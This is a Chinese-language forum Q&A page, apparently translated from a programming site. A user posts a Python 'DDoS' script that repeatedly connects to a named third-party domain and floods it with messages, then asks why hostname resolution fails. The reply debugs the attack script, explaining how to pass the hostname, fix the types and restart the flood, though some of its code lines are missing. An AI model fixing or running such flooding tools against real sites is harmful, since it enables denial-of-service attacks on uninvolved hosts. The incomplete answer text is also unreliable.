我试图攻击我的服务器,我有一个小的ddos python脚本。但不幸的是我犯了个错误:
ip = socket.gethostbyname(host)
socket.gaierror: [Errno 11004] getaddrinfo failed
你知道怎么解决这个问题吗?
这是剧本:
import time, socket, os, sys, string
def restart_program():
python = sys.executable
os.execl(python, python, * sys.argv)
curdir = os.getcwd()
print ("DDoS mode loaded")
host="http://hajnalgroup.com"
port="80"
message="+---------------------------+"
conn="100"
ip = socket.gethostbyname(host)
print ("[" + ip + "]")
print ( "[Ip is locked]" )
print ( "[Attacking " + host + "]" )
print ("+----------------------------+")
def dos():
#pid = os.fork()
ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
ddos.connect((host, port))
ddos.send( message )
ddos.sendto( message, (ip, port) )
ddos.send( message );
except socket.error, msg:
print("|[Connection Failed] |")
print ( "|[DDoS Attack Engaged] |")
ddos.close()
for i in range(1, conn):
dos()
print ("+----------------------------+")
print("The connections you requested had finished")
if __name__ == "__main__":
answer = raw_input("Do you want to ddos more?")
if answer.strip() in "y Y yes Yes YES".split():
restart_program()
else:
print "bye"
端口号也应为数字。
您还应该使用
subprocess
来重新启动dos脚本,这对于多操作系统来说更好。主机名应该是主机名(
hajnalgroup.com
),而不是url(http://hajnalgroup.com
)。替换以下行:
使用:
更新
函数的所有参数都应该是
int
对象:用
conn = 100
替换conn = "100"
。相关问题 更多 >
编程相关推荐